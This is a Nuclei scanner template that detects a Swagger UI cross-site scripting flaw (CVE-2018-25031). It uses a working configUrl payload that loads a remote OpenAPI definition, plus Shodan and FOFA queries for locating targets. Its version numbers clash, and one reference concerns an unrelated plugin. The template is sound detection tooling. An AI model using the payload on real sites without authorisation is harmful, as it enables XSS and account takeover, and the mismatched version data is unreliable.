57 lines
2.1 KiB
YAML
57 lines
2.1 KiB
YAML
id: CVE-2018-25031
|
|
|
|
info:
|
|
name: Swagger UI < 3.38.0 - Cross-Site Scripting
|
|
author: DhiyaneshDK
|
|
severity: medium
|
|
description: |
|
|
Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.
|
|
remediation: |
|
|
Update to the latest version of the Swagger UI (^4.13.0 or higher) to mitigate the vulnerability.
|
|
reference:
|
|
- https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-25031
|
|
- https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-3506
|
|
- https://github.com/swagger-api/swagger-ui/issues/4872
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
|
|
cvss-score: 4.3
|
|
cve-id: CVE-2018-25031
|
|
cwe-id: CWE-20
|
|
epss-score: 0.00265
|
|
epss-percentile: 0.65516
|
|
cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: smartbear
|
|
product: swagger_ui
|
|
shodan-query:
|
|
- http.component:"Swagger"
|
|
- http.component:"swagger"
|
|
- http.favicon.hash:"-1180440057"
|
|
fofa-query: icon_hash="-1180440057"
|
|
tags: headless,cve,cve2018,swagger,xss,smartbear
|
|
|
|
headless:
|
|
- steps:
|
|
- args:
|
|
url: '{{BaseURL}}/index.html?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Byb2plY3RkaXNjb3ZlcnkvbnVjbGVpLXRlbXBsYXRlcy9tYWluL2hlbHBlcnMvcGF5bG9hZHMvc3dhZ2dlci1wYXlsb2FkIgp9'
|
|
action: navigate
|
|
|
|
- action: waitdialog
|
|
name: swagger_dom
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- swagger_dom == true
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "swagger"
|
|
case-insensitive: true
|
|
# digest: 490a00463044022000a8c6b502dca006f3fdde5519968569f8e22e9ef6a79c63edb2de60a0dd568f0220031f68ca657d8e5d68a4d61c62332f505f93f2699488ec192600c0a60db54218:922c64590222798bb761d5b6d8e72950 |